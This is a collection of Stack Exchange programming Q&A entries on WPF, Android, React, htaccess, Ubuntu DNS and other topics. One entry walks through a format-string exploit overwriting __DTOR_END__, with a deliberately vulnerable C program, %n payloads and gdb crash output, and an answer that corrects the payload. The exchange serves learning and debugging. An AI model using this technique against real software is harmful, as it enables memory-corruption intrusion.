text:
Q: Where and in what format are custom dictionary files for common applications kept? I'm moving from my desktop workstation to a laptop, and have a great many custom technical, geographical and name entries in user dictionaries that I would be loathe to have to rebuild again from scratch.
Where can I find the various custom dictionaries on common programs such as Google Chrome, Lotus Notes, Microsoft Office, et cetra?


text:
Q: java timestamp with timezone to store in ORACLE DB I need to insert Timestamp with Timezone in Oracle DB using java JDBC. I have a timestamp in one variable and need to append Timezone, like Europe/Paris, to my timestamp and store it in the DB which has a column of datatype Timestamp with Timezone.
How can I achieve that?

redpajama_set_name: RedPajamaStackExchange


text:
Q: Binding using XMLDataProvider in WPF not displaying data I am trying to bind some xml data to a listbox using WPF but i am not able to output anything. the xaml doesn't display any errors and the project builds and runs but no data is displayed in the listbox.
<Window x:Class="MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:XMLDataProviderTutorial"
        mc:Ignorable="d"
        Title="MainWindow" Height="450" Width="800">

    <Window.Resources>
        <XmlDataProvider x:Key="Products">
            <x:XData>
                <ROOT xmlns="">
                    <ITEM>Socks</ITEM>
                    <ITEM>Shoes</ITEM>
                    <ITEM>Toothbrush</ITEM>
                </ROOT>
            </x:XData>
        </XmlDataProvider>
    </Window.Resources>

    <Grid>
        <ListBox
            Background="Beige"
            ItemsSource="{Binding
                Source={StaticResource Products},
                XPath='//ITEM'}"/>
    </Grid>
</Window>

A: In the end, added in a listbox item template fixed the issue, for some reason it didn't update in the editor, had to run it to see the output
       <ListBox
            MinHeight="200"
            Background="Honeydew"
            ItemsSource="{Binding
                Source={StaticResource Products},
                XPath='//ITEM'}">

            <ListBox.ItemTemplate>
                <DataTemplate>
                    <TextBlock Text="{Binding InnerText}"/>
                </DataTemplate>
            </ListBox.ItemTemplate>
        </ListBox>


text:
Q: Namespace best practices when dealing with a 3rd party company Probably down to preference but I was just after some of your thoughts; I have a scenario where I am working with two 3rd party companies (possibly more in the future) and we provide a service for said companies via individual business logic within the same technology.
Would my namespaces be better laid out like this:
MyCompany.Technology.OtherCompany1
MyCompany.Technology.OtherCompany2

or like this:
OtherCompany1.Technology
OtherCompany2.Technology

Thnx.

A: The former, since it includes a reference to your company.

A: I would say personal preference.
If there is a lot related in Technology I would do it the first way.
If they are completely different the second way might work better.
this might be one for the community wiki


text:
Q: styling in java script with specific condition var res=document.getElementById("panel");
    var wid = window.innerWidth;
if(wid <= 900){
    res.setAttribute("id", "panel2");
}

I want to change some styling depends on the size of the browser ( to make it more responsive ) , but what I have tried did not worked :(
see more :https://ahmadahmadahmad.000webhostapp.com/

A: You will need to use the resize event
let res=document.getElementById("panel");
let wid = window.innerWidth;
if(wid <= 900){
    res.setAttribute("id", "panel2");
}

function Init(){
   wid = window.innerWidth;
if(wid <= 900){
    res.setAttribute("id", "panel2");
}else{res.setAttribute("id", "panel");}
}

setTimeout(function() {
  Init();
  addEventListener("resize", Init, false);
}, 15);

[id^="panel"]{
  width:100vw;
  height:100vh;
  background:green;
}

#panel2{background:blue;}

A: Your javascript code only executes once when it is loaded.
To make the function being called when something happens, you need to attach it to an event listener.
In this case, you may want the panel changed when the screen is resized.
So, attached the function to window.onresize event listener.
The function will then be triggered when you resize the screen.
The code is as below. (I use body element as an example instead)
var res=document.querySelector("body");

window.onresize = function () {
  var wid = window.innerWidth;
  if(wid <= 900){
      res.setAttribute("style", "background-color: red;");
  }
}

You can drag the screen size to see if the background color changed when width under 900px.
Is this what you want to achieve?


text:
Q: Are users with low reputation more likely to not accept an answer? Lately I got the impression that my answers will be accepted as the right answer or upvoted by  the asker is less likely if the asker has a low reputation. I do not know if that comes from new users (had not too much time to collect reputation) or more critical users, that don't accept answers, and so the answerer don't vote them up.
Are there any statistics available about that? And is there something we can actively do that the people learn that accepting an answer (even the own one) is essential for stackoverflow to work?

A: A superficial Data Analysis of Accepted answers
I wrote a couple of queries on Data.SE
This one shows the average rep of the answers with accepts vs the average rep against not accpeted
AVG Accept Rep
AcceptFlag   acceptrep
------------ ---------
Accepted       2,100
Not Accepted  14,003

I was surprised by this result (are very high users' answers skewing things?) so I wrote this one.
Rep Breakdown of unaccepted answers
This separates posts by the asker's rep into groups of 10 and then finds the maximum rep in each group.
decile      rep
----------- ------
1                29
2               181
3               569
4             1,204
5             2,212
6             3,955
7             7,259
8            13,836
9            34,158
10          336,525  <-[Well we know who asked that question]

I'm not a statistician but it would seems that there are plenty of questions that aren't accepted are by high rep users.
This may be because after awhile new users will go back and accept answers once they learn about it while (as @awoodland comments) while high rep users will ask hard questions that don't get answered because they're too hard. Also rep isn't static, overtime rep accrues, but the acceptance/non-acceptance often is after a certain point.
Honestly though since I don't break the 200 daily rep limit very often its pretty rare that I actually care since its much easier to just get 2 upvotes.
Also very few badges are associated with answer acceptance 1 gold, 3 silver, and 1 bronze while there are dozens associated with score, not including all the tag based badges.

A: There's a learning curve with newer users on using the Accept checkmark.
I think they already get a message telling them about it, but they don't all catch it.
Since they can't upvote for a bit, it seems like they'd play around and check the mark.


text:
Q: HTTPS not supported in nsolid I'm playing with new NSolid tools because I'd like to know if we can use it in the company I work for.
We already have a nodejs application in production since last year and we're going to launch another one in the near future.
I've installed nsolid in a linux virtual machine and gave it a try with our current published app, but I'm having this problem with HTTPS requests we make from our application to other corporate services.

[Error: Protocol "https:" not supported. Expected "http:".] 'Error: Protocol "https:" not supported. Expected "http:".
    at new ClientRequest (_http_client.js:53:11)
    at Object.exports.request (http.js:31:10)
    at Object.exports.request (https.js:163:15)

Is https module not supported by nsolid?
If that's the case, is there any plan about supporting it?
Thanks.

A: It seems unrelated to N|Solid, this error happens when you try to do an https request using an http client, I reproduced this error on different Node.js versions (v0.12.x, v4.x, N|Solid):
⬢  ~  node
> http.get("https://github.com/julianduque", function (res) {})
Error: Protocol "https:" not supported. Expected "http:".
    at new ClientRequest (_http_client.js:53:11)
    at Object.exports.request (http.js:31:10)
    at Object.exports.get (http.js:35:21)
    at repl:1:6
    at REPLServer.defaultEval (repl.js:164:27)
    at bound (domain.js:250:14)
    at REPLServer.runBound [as eval] (domain.js:263:12)
    at REPLServer.<anonymous> (repl.js:392:12)
    at emitOne (events.js:82:20)
    at REPLServer.emit (events.js:169:7)

How are you doing the request?

A: It seems nsolid does not have any restriction regarding https protocol.
I was testing our application and found out that, disabling the use of a custom outgoing request we were using (agentkeepalive@0.1.5), the error went away.


text:
Q: how to add runOnUiThread() in my Activity I added the AsyncTask to offload network operations to a background thread.I need to make sure the UI operations are on the UI thread.So i want to Use runOnUiThread() in my Activity.
Thanks for your help
WifiApManager
public class WifiApManager {
private final WifiManager mWifiManager;

public WifiApManager(Context context) {
    mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
}

public boolean setWifiApEnabled(WifiConfiguration wifiConfig, boolean enabled) {
    try {
        if (enabled) { // disable WiFi in any case
            mWifiManager.setWifiEnabled(false);
        }

        Method method = mWifiManager.getClass().getMethod("setWifiApEnabled", WifiConfiguration.class, boolean.class);
        return (Boolean) method.invoke(mWifiManager, wifiConfig, enabled);
    } catch (Exception e) {
        Log.e(this.getClass().toString(), "wifi", e);
        return false;
    }
}

public WIFI_AP_STATE getWifiApState() {
    try {
        Method method = mWifiManager.getClass().getMethod("getWifiApState");

        int tmp = ((Integer)method.invoke(mWifiManager));

        // Fix for Android 4
        if (tmp > 10) {
            tmp = tmp - 10;
        }

        return WIFI_AP_STATE.class.getEnumConstants()[tmp];
    } catch (Exception e) {
        Log.e(this.getClass().toString(), "wifi", e);
        return WIFI_AP_STATE.WIFI_AP_STATE_FAILED;
    }
}

public boolean isWifiApEnabled() {
    return getWifiApState() == WIFI_AP_STATE.WIFI_AP_STATE_ENABLED;
}

public WifiConfiguration getWifiApConfiguration() {
    try {
        Method method = mWifiManager.getClass().getMethod("getWifiApConfiguration");
        return (WifiConfiguration) method.invoke(mWifiManager);
    } catch (Exception e) {
        Log.e(this.getClass().toString(), "wifi", e);
        return null;
    }
}

public boolean setWifiApConfiguration(WifiConfiguration wifiConfig) {
    try {
        Method method = mWifiManager.getClass().getMethod("setWifiApConfiguration", WifiConfiguration.class);
        return (Boolean) method.invoke(mWifiManager, wifiConfig);
    } catch (Exception e) {
        Log.e(this.getClass().toString(), "wifi", e);
        return false;
    }
}

public ArrayList<ClientScanResult> getClientList(boolean onlyReachables) {
    return getClientList(onlyReachables, 10);
}

public ArrayList<ClientScanResult> getClientList(boolean onlyReachables, int reachableTimeout) {
    BufferedReader br = null;
    ArrayList<ClientScanResult> result = null;

    try {
        result = new ArrayList<ClientScanResult>();
        br = new BufferedReader(new FileReader("/proc/net/arp"));
        String line;
        while ((line = br.readLine()) != null) {
            String[] splitted = line.split(" +");

            if ((splitted != null) && (splitted.length >= 4)) {
                // Basic sanity check
                String mac = splitted[3];

                if (mac.matches("..:..:..:..:..:..")) {
                    boolean isReachable = InetAddress.getByName(splitted[0]).isReachable(reachableTimeout);

                    if (!onlyReachables || isReachable) {
                        result.add(new ClientScanResult(splitted[0], splitted[3], splitted[5], isReachable));
                    }
                }
            }
        }
    } catch (Exception e) {
        Log.e(LOGTAG, e.toString());
    } finally {
        try {
            br.close();
        } catch (IOException e) {
            Log.e(LOGTAG, e.toString());
        }
    }
return result;
}
}

connect.java
public class connect extends Activity{
WifiApManager wifiApManager;
TextView tv;
Button scan;
@Override
protected void onCreate(Bundle savedInstanceState) {
    // TODO Auto-generated method stub
    super.onCreate(savedInstanceState);
    setContentView(R.layout.connect);
    tv =(TextView) findViewById(R.id.iptv);
    new scan().execute();
}
public class scan extends AsyncTask<String, Integer, String> {

public Object WIFI_SERVICE;
@Override
protected void onProgressUpdate(Integer...integers)  {
     ArrayList<ClientScanResult> clients = wifiApManager.getClientList(false);
        tv.setText("WifiApState: " + wifiApManager.getWifiApState() + "\n\n");
        tv.append("Clients: \n");
        for (ClientScanResult clientScanResult : clients) {
            tv.append("####################\n");
            tv.append("IpAddr: " + clientScanResult.getIpAddr() + "\n");
            tv.append("Device: " + clientScanResult.getDevice() + "\n");
            tv.append("HWAddr: " + clientScanResult.getHWAddr() + "\n");
            tv.append("isReachable: " + clientScanResult.isReachable()+ "\n");
            }
}
@Override
        protected void onPostExecute(String result){
            tv.setText(result);
        }
@Override
protected String doInBackground(String... params) {
    wifiApManager = new WifiApManager(this);
    // the above line shows a Error
    return null;
}
}
}

EDIT
I want to Display the processed text in a TextView
class scan extends AsyncTask<String, Void, Void> {
public Context context;
ArrayList<ClientScanResult> clients;
public scan(Context c)  // constructor to take Context
{
    context = c;   // Initialize your Context variable
}

protected Void doInBackground(String... params) {
        wifiApManager = new WifiApManager(context);  // use the variable here
         clients = wifiApManager.getClientList(false);
        return null;
}
}
protected void onPostExecute(Void result){
    ArrayList<ClientScanResult> clients;
    tv.setText("WifiApState: " + wifiApManager.getWifiApState() + "\n\n");
    tv.append("Clients: \n");
    for (ClientScanResult clientScanResult : clients)//showin error in clients
 {
            tv.append("####################\n");
            tv.append("IpAddr: " + clientScanResult.getIpAddr() + "\n");
            tv.append("Device: " + clientScanResult.getDevice() + "\n");
            tv.append("HWAddr: " + clientScanResult.getHWAddr() + "\n");
            tv.append("isReachable: " + clientScanResult.isReachable()+ "\n");
                       }
}
}

A: You should not be accessing any UI elements within doInBackground, This method runs in background thread. What you should do is override onPostExecute() method and access your TextView there. onPostExecute runs in UI thread, so you don't need to call runOnUiThread()

A:
I added the AsyncTask to offload network operations to a background thread.I need to make sure the UI operations are on the UI thread.So i want to Use runOnUiThread() in my Activity.

Ugh! No!!! Every method of AsyncTask runs on the UI Thread except for doInBackground(). So do your network operations in doInBackground() and update the UI in onPostExecute() or in onProgressUpdate() by calling publishProgress() from doInBackground().
Do not use runOnUiThread() with AsyncTask. There is no reason, at least known to me, to use that with AsyncTask since it has methods that already run on the UI Thread. I have never seen it do anything but cause trouble.
You can either call publishProgress() from your loop and update your TextView in onProgressUpdate() or add the values to an ArrayList and update in onProgressUpdate().
Please read the docs several times. AsyncTask is a bit tricky at first but once you learn what it does then it can be a beautiful thing.
Edit
Create an instance of your AsyncTask and pass your Activity Context to it
Scan myScan = new scan(this); // pass the context to the constructor
myScan.execute();

Then create a constructor in your AsyncTask and have it accept a Context.
public class scan extends AsyncTask<String, Integer, String>
{

     public Object WIFI_SERVICE;
     public Context context;   // Context variable

     public scan(Context c)  // constructor to take Context
     {
         context = c;   // intialize your Context variable
     }

Now use that variable
    @Override
    protected String doInBackground(String... params)
    {
        wifiApManager = new WifiApManager(context);  // use the variable here
        return null;
    }

Another Edit
class scan extends AsyncTask<String, Void, Void> {
     ArrayList<ClientScanResult> clients;
     Context context;

...

then initialize your `clients` in `doInBackground()`

clients = wifiApManager.getClientList(false);

change onPostExecute() to not accept anything
protected void onPostExecute(Void result){

and put your code that updates the TextView in there.


text:
Q: How to fix "Server name cannot be determined. It must appear as the first segment of the server's dns name (servername.database.windows.net)" I have a web application in visual studio 2017 .NET framework 4.7.1 with identity, that connects to azure sql server database. I am getting an error after submitting login form. The exception message is:
"Server name cannot be determined.  It must appear as the first segment of the server's dns name (servername.database.windows.net).  Some libraries do not send the server name, in which case the server name must be included as part of the user name (username@servername).  In addition, if both formats are used, the server names must match."
The error is only in the web server (azure app service). When I run it locally (localhost) it works fine.
I did what error message suggests but, it did´nt work. I searched about this but, none of the suggestions or solutions I found have worked.
If I remove login stuff, application is able to connect and works so, the problem seems to be the connection string I use to connect to identity tables.
I have tried this connection strings in web.config but none of them have worked:
1.
add name="DefaultConnection" connectionString="Server=tcp:myServer.database.windows.net,1433;Initial Catalog=myDatabase;Persist Security Info=False;User ID=myUser@myServer;Password=myPassword;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False" providerName="System.Data.SqlClient"
2.
add name="DefaultConnection" connectionString="Data Source=myServer.database.windows.net;Initial Catalog=myDatabase;Integrated Security=False;User Id=myUser;Password=myPassword;MultipleActiveResultSets=True" providerName="System.Data.SqlClient"

A: First, did you set the Allow access to Azrue Service ON?
Please check your Azrue SQL Database firewall settings on portal:

Second, get the correct connection string:

Others, please see: Troubleshooting connectivity issues with Microsoft Azure SQL Database.

Hope this can helps.


text:
Q: How to make WP_Error message to appear under the password field? I have just activated a password confirmation field in my Wordpress registration using this script
function registration_errors_validation($reg_errors, $sanitized_user_login, $user_email) {
    global $woocommerce;
    extract( $_POST );
    if ( strcmp( $password, $password2 ) !== 0 ) {
        return new WP_Error( 'registration-error', __( 'Passwords do not match. Please try again.', 'woocommerce' ) );
    }
    return $reg_errors;
}
add_filter('woocommerce_registration_errors', 'registration_errors_validation', 10,3);

// ----- add a confirm password fields match on the registration page
function wc_register_form_password_repeat() {
    ?>

        <?php _e( 'Password Repeat', 'woocommerce' ); ?> *
        <input type="password" class="input-text" name="password2" id="reg_password2" value="<?php if ( ! empty( $_POST['password2'] ) ) echo esc_attr( $_POST['password2'] ); ?>" />

    <?php
}
add_action( 'woocommerce_register_form', 'wc_register_form_password_repeat' );

// ----- Validate confirm password field match to the checkout page
function lit_woocommerce_confirm_password_validation( $posted ) {
    $checkout = WC()->checkout;
    if ( ! is_user_logged_in() && ( $checkout->must_create_account || ! empty( $posted['createaccount'] ) ) ) {
        if ( strcmp( $posted['account_password'], $posted['account_confirm_password'] ) !== 0 ) {
            wc_add_notice( __( 'Passwords do not match.', 'woocommerce' ), 'error' );
        }
    }
}
add_action( 'woocommerce_after_checkout_validation', 'lit_woocommerce_confirm_password_validation', 10, 2 );

// ----- Add a confirm password field to the checkout page
function lit_woocommerce_confirm_password_checkout( $checkout ) {
    if ( get_option( 'woocommerce_registration_generate_password' ) == 'no' ) {

        $fields = $checkout->get_checkout_fields();

        $fields['account']['account_confirm_password'] = array(
            'type'              => 'password',
            'label'             => __( 'Confirm password', 'woocommerce' ),
            'required'          => true,
            'placeholder'       => _x( 'Confirm Password', 'placeholder', 'woocommerce' )
        );

        $checkout->__set( 'checkout_fields', $fields );
    }
}
add_action( 'woocommerce_checkout_init', 'lit_woocommerce_confirm_password_checkout', 10, 1 );

My problem now is that the Error message (triggered by WP_Error) appears on the top of the page after refreshing it.
The behavior I would like to have is to have the error message appearing under the password field.
Any idea on how to achieve it?


text:
Q: htaccess redirect change forward slash / to dash - I've recently set up a new website for a company. The domain has stayed the same but the URL structure is ever so slightly different for the blog.
The URL structure for the blog was previously /blog/2015/08/20/post-name/
but now it is /blog/2015-08-20-post-name/ so the forward slash has been changed to a dash.
Is there a way I can 301 redirect the old posts to the new ones by changing the forward slash (/) to a dash (-) recursively? but only for the blog.
Thanks,
Chris

A: You can try this .htaccess code:
RewriteEngine on
RewriteBase /
RewriteRule blog/([0-9]{4})/([0-9]{2})/([0-9]{2})/([^/]+)/? /blog/$1-$2-$3-$4/ [L,R=301]

A: This rewrite rule should do the trick
RewriteRule ^blog/([0-9]+)/([0-9]+)/([0-9]+)/(.*) https://hostname/blog-$1-$2-$3-$4 [L,R=301]

In the future, you can use this site here An easy way to test your RewriteRules to test rules without having to actually apply them.


text:
Q: Ubuntu 18.04.1 LTS Cloudflare DNS Not working I update the Cloudflare DNS 1.1.1.1 via TP link Router it's work perfectly on my Mobile devices & other systems but It does not work perfectly in the system installed Ubuntu 18.04 LTS (Latest Version)
I follow a lot of methods & solutions
None of them Working
But the Google DNS working Perfectly
I follow this method to Fix but not working
$ sudo rm -f /etc/resolv.conf
$ sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
$ ls -l /etc/resolv.conf

lrwxrwxrwx 1 root root 32 Oct 28 09:54 /etc/resolv.conf -> /run/systemd/resolve/resolv.conf

A: I also encountered that problem when I tested Ubuntu 18.04 LTS.
Ubuntu has a new system to configure the network: Netplan
To configure DNS you must edit the file in the /etc/netplan directory with the name 01-netcfg.yaml
There you should put the following key, under the entry of your device ID.
nameservers:
          addresses: [1.1.1.1]

You can see in the example where the mentioned keys are located, and you can look for more information in the link to Netplan
Example copied from https://netplan.io:
network:
  version: 2
  # if specified, can only realistically have that value, as networkd can not
  # render wifi / 3G.
  renderer: NetworkManager
  ethernets:
    # opaque ID for physical interfaces, only referred to by other stanzas
    id0:
      match:
        macaddress: 00: 11: 22: 33: 44: 55
      wakeonlan: true
      dhcp4: true
      addresses:
        - 192.168.14.2/24
        - 192.168.14.3/24
        - "2001: 1 :: 1/64"
      gateway4: 192.168.14.1
      gateway6: "2001: 1 :: 2"
      nameservers:
        search: [foo.local, bar.local]
        addresses: [8.8.8.8]
      routes:
        - to: 0.0.0.0/0
          via: 11.0.0.1
          table: 70
          on-link: true
          metric: 3
      routing-policy:
        - to: 10.0.0.0/8
          from: 192.168.14.2/24
          table: 70
          priority: 100
        - to: 20.0.0.0/8
          from: 192.168.14.3/24
          table: 70
          priority: 50


text:
Q: Check if an hour has passed in Vb.net I tried to make an application where every an hour has passed will add a 100.00 penalty. For example:
10:00am - on time
11:00 - 100.00 late
12:00 - 200.00 late
I'm having a hard time on how will i code that every hour / 100 penalty after 10:00 am. The code below only checks if the time has passed by 11 hours.
Dim time As Date
Dim CurrHour As Integer
time = DateTime.Now
CurrHour = time.Hour

If CurrHour >= 11 Then
    penalty = "100.00"
End If

lbl_total.Text = penalty

A: To calculate the penalty you only need this in your code:
Dim _penalty As Integer = (Now.Hour - 10) * 100.0


text:
Q: Selenium and beautiful soup unable to find video tag tag on webpage I need a web scraping experts help. Im trying to get the src from the video tag of this website. When I try to use selenium or beautifulsoup4 to catch it, its as if doesnt exist. find_elements returns an empty list. This "//*[@id="player"]/div[2]/div[3]/video" is the XPATH for that element from inspect elements in safari. I can see it while inspecting the webpage but I cannot scrape it. Ive also tried using the find_element("src") method to no success. It throws an exception saying no such element found.
This is my code:
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options

options = Options()
options.headless = True
driver = webdriver.Chrome(options=options)

    # Navigate to Url
driver.get("https://anime47.com/xem-phim-chainsaw-man-ep-01/187898.html")

    # Get all the elements available with tag name 'p'
elements = driver.find_element(By.TAG_NAME, "iframe")

for e in elements:
    print(e.text)

A: The element can be found using this code:
video = driver.find_element(By.XPATH, '//*[@id="player"]/div[2]/div[3]/video')

But this element doesn't have the src attribute, so you will not be able to get it from the element. And looks like there is no possibility to get the video from this page.


text:
Q: How to pass boolean variable from one component to another in React? I have a Navbar component in which I set the state to a variable to show or hide my sidebar. Now in another component, I want to use this variable to set a class to the container (because the expanded sidebar overlaps my content). How to do this?
Navbar.js
import React, { useState } from 'react';
import * as FaIcons from 'react-icons/fa';
import * as AiIcons from 'react-icons/ai';
import { Link } from 'react-router-dom';
import { SidebarData } from './NavbarData';
import './Navbar.css';
import { IconContext } from 'react-icons';

function Navbar() {
  const [sidebar, setSidebar] = useState(false);
  const showSidebar = () => setSidebar(!sidebar);
  console.log(sidebar)
  return (
      <IconContext.Provider value={{ color: '#fff' }}>

          <Link to='#' className='menu-bars'>
            <FaIcons.FaBars onClick={showSidebar} />
          </Link>

              <Link to='#' className='menu-bars'>
                <AiIcons.AiOutlineClose />
              </Link>

            {SidebarData.map((item, index) => {
              return (

                  <Link to={item.path}>
                    {item.icon}
                    {item.title}
                  </Link>

              );
            })}

      </IconContext.Provider>

  );
}
export default Navbar;

And there is render in another component:
 render() {
    <Navbar /> //I tried this but don't know what else should I do
    return (

Add new product
 //here the condition to set a class if sidebar is set to true
              <input type-"text" className="grey-text"/>

A: You could have your sidebar state in the parent component of your Sidebar, so you could pass the state to you Navbar and other component.
Navbar.js
import React, { useState } from 'react';
import * as FaIcons from 'react-icons/fa';
import * as AiIcons from 'react-icons/ai';
import { Link } from 'react-router-dom';
import { SidebarData } from './NavbarData';
import './Navbar.css';
import { IconContext } from 'react-icons';

function Navbar({sidebar, setSidebar}) {
  const showSidebar = () => setSidebar(!sidebar);
  console.log(sidebar)
  return (
      <IconContext.Provider value={{ color: '#fff' }}>

          <Link to='#' className='menu-bars'>
            <FaIcons.FaBars onClick={showSidebar} />
          </Link>

              <Link to='#' className='menu-bars'>
                <AiIcons.AiOutlineClose />
              </Link>

            {SidebarData.map((item, index) => {
              return (

                  <Link to={item.path}>
                    {item.icon}
                    {item.title}
                  </Link>

              );
            })}

      </IconContext.Provider>

  );
}
export default Navbar;

Other component
function YourOtherComponent(){
 const [sidebar, setSidebar] = useState(false);//have your state here
 render() {
    <Navbar sidebar={sidebar} setSidebar={setSidebar}/>//pass it down to your Navbar component
    return (

            <h1 className={`${sidebar && "SET YOUR CLASS HERE"}`}>Add new product
 {//you could add a class when sidebar is true}
              <input type-"text" className="grey-text"/>

)}}

I hope this helps you out.


text:
Q: How can I refine my Python reverse image search to limit to a specific domain? I'm using Python 3.8.  I have the following script for launching a Google reverse image search ...
    filePath = '/tmp/cat_and_dog.webp'
    searchUrl = 'http://www.google.hr/searchbyimage/upload'
    multipart = {'encoded_image': (filePath, open(filePath, 'rb')), 'image_content': '', }
    response = requests.post(searchUrl, files=multipart, allow_redirects=False)
    fetchUrl = response.headers['Location']
    webbrowser.open(fetchUrl)

Does anyone how, if possible, I can refine the search to a specific domain?

A: You can restrict normal searches to a particular domain by adding site:domain.com. So you can use that in a parameter q of your POST request:
domain = 'wikipedia.org'
multipart = {'encoded_image': (filePath, open(filePath, 'rb')), 'image_content': '',
    'q': f'site:{domain}' }


text:
Q: Format String Attack - Overwrite __DTOR_END__ I am trying to repeat the attack discussed at this link, but I am not able to succeed. The goal is to overwite the value at the symbol __DTOR_END__ via format string vulnerability.
The following is what I tried. The vulnerable program:
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]) {
    char buf[512];
    if (argc < 2) { printf("%s\n","Failed"); return 1; }
    snprintf(buf, sizeof(buf), argv[1]); // Vulnerable statement
    buf[sizeof (buf) - 1] = '\x00';
    return 0;
}

Step 1:
$ gcc fmt.c -o fmt_g -g

Step 2:
$ ltrace ./fmt_g 'AAAA.%9$x'
__libc_start_main(0x8048464, 2, 0xbffff404, 0x80484f0, 0x8048560  <unfinished ...>
snprintf("AAAA.41414141", 512, "AAAA.%9$x", 0x20)                        = 13
+++ exited (status 0) +++
$

This shows that hex 0x41 corresponding to A prints after 9 %x.
Step 3:
$ nm fmt_g | grep DTOR
  08049f20 D __DTOR_END__
  08049f1c d __DTOR_LIST__
$

The address for __ DTOR_END__ is 0x08049f20.
Step 4:
$ gdb fmt_g
(gdb) disas main
      ...
      0x080484bb <+87>: call   0x80483a0 <snprintf@plt>
      ...
(gdb) (gdb) break *main+87
      Breakpoint 1 at 0x80484bb: file fmt_g.c, line 7.
(gdb) r $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g $(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s

      Program received signal SIGSEGV, Segmentation fault.
      0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb)

I get SIGSEGV. I am trying this on a Linux box, which is little endian.
Out of curiosity I tried to use the address in opposite way:
(gdb) r $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n
      Starting program: fmt2_g  $(printf "\x08\x04\x9f\x20AAAA")%x%x%x%x%x%x%x%x%n

      Breakpoint 1, 0x080484bb in main (argc=3, argv=0xbffff3a4) at fmt2_g.c:7
      7 snprintf(buf, sizeof(buf), argv[1]);
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb) s
      8 buf[sizeof (buf) - 1] = '\x00';
(gdb) x/10x 0x08049f20
      0x8049f20 <__DTOR_END__>: 0x00000000  0x00000000  0x00000001  0x00000010
      0x8049f30 <_DYNAMIC+8>:   0x0000000c  0x08048318  0x0000000d  0x0804859c
      0x8049f40 <_DYNAMIC+24>:  0x6ffffef5  0x080481ac
(gdb)

I don't know what I'm doing wrong. My thought is that I am not using the address for __ DTOR_END__ correctly. Can someone provide some hint ?

A: The problem is actually very simple: your shell is interpreting the output from printf. \x20 is a space character, so in the first example your shell basically strips off the space and passes \x9f\x04\x08AAAA%x%x... which crashes (by trying to write to address 0x4108049f). In the second example, you end up passing two arguments, \x08\x04\x9f and AAAA%x%x...; the first argument doesn't do anything interesting so there's no crash.
To fix, just enclose the whole argument in quotes: r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n". In the future, here are a few debugging tips to keep in mind (that I've used frequently):

*

*Always check why the program crashed. disas (or, if necessary, x/i $pc) will tell you the crashing instruction, and info reg will show you the registers; together, this will tell you precisely what the program was trying to do when it crashed. For example, in the first case you should see that a mov instruction is trying to write to a memory address defined by some register, and that the register is set to 0x4108049f.

*Check your inputs. It's a pretty quick check to p argv[1] to make sure you're getting the right input passed in. Often times it's easy to overlook an embedded whitespace, NUL or high-ASCII character that causes an input routine to terminate early.

A: Based on @nneonneo's answer, I tried the following:
(gdb) b *main+87
Breakpoint 1 at 0x80484bb: file fmt2.c, line 11.
(gdb) r "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"
Starting program: fmt2_g "$(printf "\x20\x9f\x04\x08AAAA")%x%x%x%x%x%x%x%x%n"

Breakpoint 1, 0x080484bb in main (argc=2, argv=0xbffff3a4) at fmt2.c:11
11      snprintf(buf, sizeof(buf), argv[1]);
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0xb7e66bcd in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) info reg
eax            0x8049f20    134520608
ecx            0xbffff0fc   -1073745668
edx            0xb7e64c1a   -1209644006
ebx            0xb7fc4ff4   -1208201228
esp            0xbfffe9c0   0xbfffe9c0
ebp            0xbfffef78   0xbfffef78
esi            0xbfffefb0   -1073746000
edi            0x34 52
eip            0xb7e66bcd   0xb7e66bcd <vfprintf+16669>
eflags         0x210296 [ PF AF SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) x/i $pc
=> 0xb7e66bcd <vfprintf+16669>: mov    %edi,(%eax)
(gdb)

The mov operation to 0x08049f20 causes SIGSEGV. I checked the proc's memory mapping:
 (gdb) info proc
 process 6303

 root@pc:/proc/6303# cat maps
 08048000-08049000 r-xp 00000000 08:01 1720261  fmt2_g
 08049000-0804a000 r--p 00000000 08:01 1720261  fmt2_g
 0804a000-0804b000 rw-p 00001000 08:01 1720261  fmt2_g

The address 08049f20 is not writable. I think this is why SIGSEGV occurs.
I don't know if it can be mapped as writable or not.


text:
Q: is it possible to have a loginVC and anotherVC in Mac OS menu bar app? I come from ios development and trying to build a macOS menu bar app for my IOS App but the way user can see any data is after login so is it possible to have View Controllers in a menu bar app so that when user logins he/she is directed to the datascreen? Its just a basic app so i want this to stay on the menu bar only.
Thanks for the help.


text:
Q: How do I setup keyboard macros? In my daily life I'm always typing Keyboard Character and I'd like to set up a macro in Ubuntu to automatically enter  .
